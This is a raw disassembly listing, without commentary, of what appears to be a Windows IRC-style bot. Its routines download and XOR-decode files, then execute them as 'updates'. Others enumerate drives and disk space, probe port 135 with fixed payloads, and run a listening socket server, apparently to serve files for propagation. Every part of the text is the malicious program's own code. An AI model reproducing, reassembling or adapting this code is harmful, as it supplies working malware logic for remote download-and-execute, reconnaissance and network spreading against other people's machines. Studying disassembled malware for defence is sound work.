push 200h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+Dst]
push 200h
push eax
push [ebp+var_18]
call dword_42EADC ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_403645
push [ebp+arg_0]
lea eax, [ebp+Dst]
push eax
call sub_403A12
pop ecx
pop ecx
loc_403645: ; CODE XREF: sub_403520+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+Dst]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call ds:dword_41B054 ; WriteFile
cmp edi, ebx
jnb short loc_403683
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_40366D
mov eax, [ebp+arg_0]
loc_40366D: ; CODE XREF: sub_403520+148j
push eax ; Size
lea eax, [ebp+Dst]
push eax ; Src
mov eax, [ebp+Memory]
add eax, edi
push eax ; Dst
call _memcpy
add esp, 0Ch
loc_403683: ; CODE XREF: sub_403520+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_403690
cmp edi, [ebp+var_3C]
ja short loc_4036DA
loc_403690: ; CODE XREF: sub_403520+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_4036AA
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset aDownloadFileDo ; "[DOWNLOAD]: File download: %s (%dKB tra"...
jmp short loc_4036BA
; ---------------------------------------------------------------------------
loc_4036AA: ; CODE XREF: sub_403520+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset aDownloadUpdate ; "[DOWNLOAD]: Update: %s (%dKB transferre"...
loc_4036BA: ; CODE XREF: sub_403520+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_430340
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_403601
loc_4036DA: ; CODE XREF: sub_403520+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_40372F
cmp edi, [ebp+var_3C]
jz short loc_40372F
push [ebp+var_3C]
lea eax, [ebp+Dst]
mov [ebp+var_14], esi
push edi
push offset aDownloadFilesi ; "[DOWNLOAD]: Filesize is incorrect: (%d "...
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_405E64
lea eax, [ebp+Dst]
push eax
call sub_402D63
add esp, 28h
loc_40372F: ; CODE XREF: sub_403520+1C4j
; sub_403520+1C9j
call ds:dword_41B078 ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call ds:dword_41B050 ; CloseHandle
push [ebp+Memory] ; Memory
call _free
cmp [ebp+var_38], esi
pop ecx
jz short loc_4037B9
lea eax, [ebp+Filename]
push eax ; Filename
call sub_403067
cmp eax, [ebp+var_38]
pop ecx
jz short loc_4037B9
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+Dst]
push offset aDownloadCrcFai ; "[DOWNLOAD]: CRC Failed (%d != %d)."
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_405E64
lea eax, [ebp+Dst]
push eax
call sub_402D63
add esp, 28h
loc_4037B9: ; CODE XREF: sub_403520+241j
; sub_403520+253j
cmp [ebp+var_14], esi
jz loc_4039F9
cmp [ebp+var_44], 1
jz loc_4038B4
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_41B5E8
lea eax, [ebp+Filename]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+Dst]
fmul ds:dbl_41B5E8
fstp [esp+590h+var_590]
push offset aDownloadDownlo ; "[DOWNLOAD]: Downloaded %.1f KB to %s @ "...
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_403834
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_405E64
add esp, 14h
loc_403834: ; CODE XREF: sub_403520+2F2j
lea eax, [ebp+Dst]
push eax
call sub_402D63
cmp [ebp+var_40], 1
pop ecx
jnz loc_4039F9
push 5
push esi
lea eax, [ebp+Filename]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_42EB34
cmp [ebp+var_30], esi
jnz loc_4039F9
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Dst]
push offset aDownloadOpened ; "[DOWNLOAD]: Opened: %s."
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_405E64
lea eax, [ebp+Dst]
push eax
call sub_402D63
add esp, 24h
jmp loc_4039F9
; ---------------------------------------------------------------------------
loc_4038B4: ; CODE XREF: sub_403520+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_41B5E8
lea eax, [ebp+Filename]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+Dst]
fmul ds:dbl_41B5E8
fstp [esp+590h+var_590]
push offset aDownloadDown_0 ; "[DOWNLOAD]: Downloaded %.1fKB to %s @ %"...
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40391C
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_405E64
add esp, 14h
loc_40391C: ; CODE XREF: sub_403520+3DAj
lea eax, [ebp+Dst]
push eax
call sub_402D63
push 10h ; Size
lea eax, [ebp+var_10]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_310]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset byte_428D64
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+Filename]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call ds:dword_41B094 ; CreateProcessA
cmp eax, edi
jnz short loc_40399E
call dword_42EB20 ; WSACleanup
call sub_40724A
push esi
call ds:dword_41B090 ; ExitProcess
loc_40399E: ; CODE XREF: sub_403520+46Aj
lea eax, [ebp+Filename]
push eax
push offset aDownloadUpda_0 ; "[DOWNLOAD]: Update failed: Error execut"...
jmp short loc_4039B8
; ---------------------------------------------------------------------------
loc_4039AC: ; CODE XREF: sub_403520+45j
lea eax, [ebp+var_248]
push eax
push offset aDownloadBadUrl ; "[DOWNLOAD]: Bad URL, or DNS Error: %s."
loc_4039B8: ; CODE XREF: sub_403520+48Aj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4039EC
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_405E64
add esp, 14h
loc_4039EC: ; CODE XREF: sub_403520+4AAj
lea eax, [ebp+Dst]
push eax
call sub_402D63
pop ecx
loc_4039F9: ; CODE XREF: sub_403520+29Cj
; sub_403520+325j ...
push [ebp+var_18]
call dword_42EBE4 ; InternetCloseHandle
push [ebp+var_48]
call sub_411F56
pop ecx
push esi
call ds:dword_41B06C ; ExitThread
sub_403520 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_403A12 proc near ; CODE XREF: sub_403520+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_403A2E
loc_403A1E: ; CODE XREF: sub_403A12+1Aj
mov dl, byte_424A60
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_403A1E
locret_403A2E: ; CODE XREF: sub_403A12+Aj
retn
sub_403A12 endp
; =============== S U B R O U T I N E =======================================
sub_403A2F proc near ; CODE XREF: sub_409557+22C0p
; sub_409557+241Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_412EA4
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_403A2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A49 proc near ; CODE XREF: sub_403B59+66p
; sub_403B59+97p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h ; Size
mov edi, offset dword_42E624
push 0 ; Val
push edi ; Dst
call _memset
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_403A6E: ; CODE XREF: sub_403A49+5Bj
; sub_403A49+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call __aullrem
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call __aulldiv
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_403AAC
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_403A6E
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_403A6E
; ---------------------------------------------------------------------------
loc_403AAC: ; CODE XREF: sub_403A49+4Bj
dec esi
mov eax, edi
loc_403AAF: ; CODE XREF: sub_403A49+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_403ABE
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_403AAF
; ---------------------------------------------------------------------------
loc_403ABE: ; CODE XREF: sub_403A49+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_403A49 endp
; =============== S U B R O U T I N E =======================================
sub_403AC8 proc near ; CODE XREF: sub_403C74+51p
; sub_403C74+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_42EC10 ; GetDriveTypeA
sub eax, 0
jz short loc_403B0B
dec eax
jz short loc_403B05
dec eax
dec eax
jz short loc_403AFF
dec eax
jz short loc_403AF9
dec eax
jz short loc_403AF3
dec eax
jz short loc_403AED
mov eax, offset word_41F9E4
retn
; ---------------------------------------------------------------------------
loc_403AED: ; CODE XREF: sub_403AC8+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_403AF3: ; CODE XREF: sub_403AC8+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_403AF9: ; CODE XREF: sub_403AC8+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_403AFF: ; CODE XREF: sub_403AC8+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_403B05: ; CODE XREF: sub_403AC8+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_403B0B: ; CODE XREF: sub_403AC8+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_403AC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403B11 proc near ; CODE XREF: sub_403B59+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_42EAC0
test eax, eax
jz short loc_403B46
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_403B46: ; CODE XREF: sub_403B11+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_403B11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403B59 proc near ; CODE XREF: sub_403C74+17p
; sub_410E85+1F3p
Dest = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_403B11
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_403C31
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_403C31
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_403C31
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call __alldiv
push edx
push eax
call sub_403A49
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi ; Format
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call __alldiv
push edx
push eax
call sub_403A49
push eax
push edi ; Format
lea eax, [ebp+var_118]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call __alldiv
push edx
push eax
call sub_403A49
push eax
push edi ; Format
lea eax, [ebp+var_98]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
pop ebx
jmp short loc_403C60
; ---------------------------------------------------------------------------
loc_403C31: ; CODE XREF: sub_403B59+2Cj
; sub_403B59+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+Dest]
push esi ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+var_118]
push esi ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+var_98]
push esi ; Format
push eax ; Dest
call _sprintf
add esp, 18h
loc_403C60: ; CODE XREF: sub_403B59+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+Dest]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_403B59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_403C74(int,char *Str,int,int)
sub_403C74 proc near ; CODE XREF: sub_403D46+17p
; sub_403D46+60p
Dest = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
Str1 = byte ptr -80h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_403B59
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+Str1]
push offset aFailed ; "failed"
rep movsd
push eax ; Str1
call _strcmp
add esp, 10h
test eax, eax
jnz short loc_403CE7
push ebx
push ebx
call sub_403AC8
pop ecx
push eax
push offset aMainSDriveSFai ; "[MAIN]: %s Drive (%s): Failed to stat, "...
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_403D1B
; ---------------------------------------------------------------------------
loc_403CE7: ; CODE XREF: sub_403C74+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+Str1]
push eax
push ebx
push ebx
call sub_403AC8
pop ecx
push eax
push offset aMainSDriveSSTo ; "[MAIN]: %s Drive (%s): %s total, %s fre"...
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 20h
loc_403D1B: ; CODE XREF: sub_403C74+71j
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
lea eax, [ebp+Dest]
push eax
call sub_402D63
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_403C74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_403D46(int,char *Str,int,int)
sub_403D46 proc near ; CODE XREF: sub_409557+4A88p
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_403D67
push [ebp+arg_C] ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_403C74
add esp, 10h
jmp short loc_403DC8
; ---------------------------------------------------------------------------
loc_403D67: ; CODE XREF: sub_403D46+9j
push esi
push edi
push ebx
push ebx
call dword_42EB30 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi ; Size
call _malloc
pop ecx
mov edi, eax
push edi
push esi
call dword_42EB30 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_403DBF
loc_403D8B: ; CODE XREF: sub_403D46+77j
push offset aA ; "A:\\"
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_403DAE
push esi ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_403C74
add esp, 10h
loc_403DAE: ; CODE XREF: sub_403D46+54j
push esi ; Str
call _strlen
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_403D8B
loc_403DBF: ; CODE XREF: sub_403D46+43j
push edi ; Memory
call _free
pop ecx
pop edi
pop esi
loc_403DC8: ; CODE XREF: sub_403D46+1Fj
pop ebx
pop ebp
retn
sub_403D46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403DCB proc near ; DATA XREF: WinMain(x,x,x,x)+14o
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
Dst = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43054C
call dword_42EC48 ; closesocket
call sub_411E03
call dword_42EB20 ; WSACleanup
call dword_42EB20 ; WSACleanup
mov ebx, ds:dword_41B048
push 64h
call ebx ; Sleep
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_54]
pop esi
push esi ; Size
push edi ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_428D64
mov [ebp+var_28], 1
mov [ebp+var_24], di
call ds:dword_41B098 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call ds:dword_41B068 ; GetModuleFileNameA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call ds:dword_41B094 ; CreateProcessA
test eax, eax
jz short loc_403E90
push 64h
call ebx ; Sleep
push [ebp+Dst]
mov esi, ds:dword_41B050
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_403E90: ; CODE XREF: sub_403DCB+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_42E65C
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_41B090 ; ExitProcess
pop edi
pop esi
pop ebx
sub_403DCB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_403EB3(int,int,void *Buf2,size_t Size)
sub_403EB3 proc near ; CODE XREF: sub_403EEB+125p
; sub_403EEB+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Buf2 = dword ptr 10h
Size = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+Size]
test edi, edi
jle short loc_403EE1
loc_403EC4: ; CODE XREF: sub_403EB3+2Cj
push [ebp+Size] ; Size
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+Buf2] ; Buf2
push eax ; Buf1
call _memcmp
add esp, 0Ch
test eax, eax
jz short loc_403EE7
inc esi
cmp esi, edi
jl short loc_403EC4
loc_403EE1: ; CODE XREF: sub_403EB3+Fj
xor al, al
loc_403EE3: ; CODE XREF: sub_403EB3+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_403EE7: ; CODE XREF: sub_403EB3+27j
mov al, 1
jmp short loc_403EE3
sub_403EB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403EEB proc near ; CODE XREF: sub_4013EE+8Bp
; sub_4013EE+174p ...
var_2010 = dword ptr -2010h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call __alloca_probe
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_403F2C
dec eax
jz short loc_403F0A
dec eax
loc_403F04: ; CODE XREF: sub_403EEB+57j
xor eax, eax
loc_403F06: ; CODE XREF: sub_403EEB+3Fj
; sub_403EEB+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_403F0A: ; CODE XREF: sub_403EEB+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_42EBF0 ; inet_addr
push eax
call sub_40275B
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_403F06
; ---------------------------------------------------------------------------
loc_403F2C: ; CODE XREF: sub_403EEB+13j
push 6
push 1
push 2
call dword_42EC30 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_403F04
push ebx
xor ebx, ebx
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push 87h
call dword_42EBB4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_4082EB
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push esi
call dword_42EB60 ; connect
cmp eax, edi
jz loc_404048
push ebx
push 48h
push offset dword_41FA70
push esi
call dword_42EC00 ; send
cmp eax, edi
jz loc_404048
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_42EBCC ; recv
cmp eax, edi
jz loc_404048
cmp byte ptr [ebp+var_2010+2], 0Ch
jnz short loc_404048
push ebx
push 18h
push offset dword_41FABC
push [ebp+arg_4]
call dword_42EC00 ; send
cmp eax, edi
jz short loc_404048
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_42EBCC ; recv
mov esi, eax
cmp esi, edi
jz short loc_404048
cmp byte ptr [ebp+var_2010+2], 2
jnz short loc_404048
push 10h ; Size
push offset dword_41FAD8 ; Buf2
lea eax, [ebp+var_2010]
push esi ; int
push eax ; int
call sub_403EB3
add esp, 10h
test al, al
jz short loc_404028
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_404048
; ---------------------------------------------------------------------------
loc_404028: ; CODE XREF: sub_403EEB+12Fj
push 10h ; Size
push offset dword_41FAEC ; Buf2
lea eax, [ebp+var_2010]
push esi ; int
push eax ; int
call sub_403EB3
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_404048: ; CODE XREF: sub_403EEB+9Bj
; sub_403EEB+B2j ...
push [ebp+arg_4]
call dword_42EC48 ; closesocket
mov eax, ebx
pop ebx
jmp loc_403F06
sub_403EEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404059 proc near ; DATA XREF: sub_4022E3+226o
var_A6C = byte ptr -0A6Ch
var_8DC = dword ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
Dst = byte ptr -29Ch
var_238 = byte ptr -238h
var_228 = dword ptr -228h
var_224 = dword ptr -224h
Str = byte ptr -124h
Dest = byte ptr -0F8h
var_C4 = byte ptr -0C4h
Str1 = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_18], ebx
mov [ebp+var_228], edi
mov [ebp+var_438], edi
call ds:dword_41B1AC ; WSAStartup
push edi ; Time
call _time
push eax
call sub_41274C
pop ecx
pop ecx
call _rand
cdq
mov ecx, 0FC17h
push edi
idiv ecx
push ebx
push 2
add edx, 3E8h
mov dword_42E668, edx
call ds:dword_41B1B0 ; socket
mov esi, eax
lea eax, [ebp+var_28]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call ds:dword_41B1B4 ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push esi
call ds:dword_41B1B8 ; ioctlsocket
mov ax, word ptr dword_42E668
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call ds:dword_41B1BC ; htons
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call ds:dword_41B1C0 ; bind
test eax, eax
jge short loc_404132
mov eax, ebx
jmp loc_404653
; ---------------------------------------------------------------------------
loc_404132: ; CODE XREF: sub_404059+D0j
push 0Ah
push esi
call ds:dword_41B1C4 ; listen
mov [ebp+var_228], ebx
mov ebx, ds:dword_41B1C8
mov [ebp+var_224], esi
mov [ebp+var_4], esi
loc_404150: ; CODE XREF: sub_404059+130j
; sub_404059+5F2j
push 41h
lea esi, [ebp+var_228]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor esi, esi
lea eax, [ebp+var_438]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call ds:dword_41B1CC ; select
cmp eax, 0FFFFFFFFh
jz loc_404650
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_404150
loc_40418B: ; CODE XREF: sub_404059+5ECj
xor esi, esi
push 64h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 64h ; Size
lea eax, [ebp+Str1]
push esi ; Val
push eax ; Dst
call _memset
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_41AFC0 ; __WSAFDIsSet
test eax, eax
jz loc_40463E
cmp edi, [ebp+var_C]
jnz short loc_404242
lea eax, [ebp+var_24]
mov [ebp+var_24], 10h
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_C]
call ds:dword_41B1D4 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40463E
xor ecx, ecx
cmp [ebp+var_228], esi
jbe short loc_40420C
lea edx, [ebp+var_224]
loc_4041FC: ; CODE XREF: sub_404059+1B1j
cmp [edx], eax
jz short loc_40420C
inc ecx
add edx, 4
cmp ecx, [ebp+var_228]
jb short loc_4041FC
loc_40420C: ; CODE XREF: sub_404059+19Bj
; sub_404059+1A5j
cmp ecx, [ebp+var_228]
jnz short loc_40422A
cmp [ebp+var_228], 40h
jnb short loc_40422A
mov [ebp+ecx*4+var_224], eax
inc [ebp+var_228]
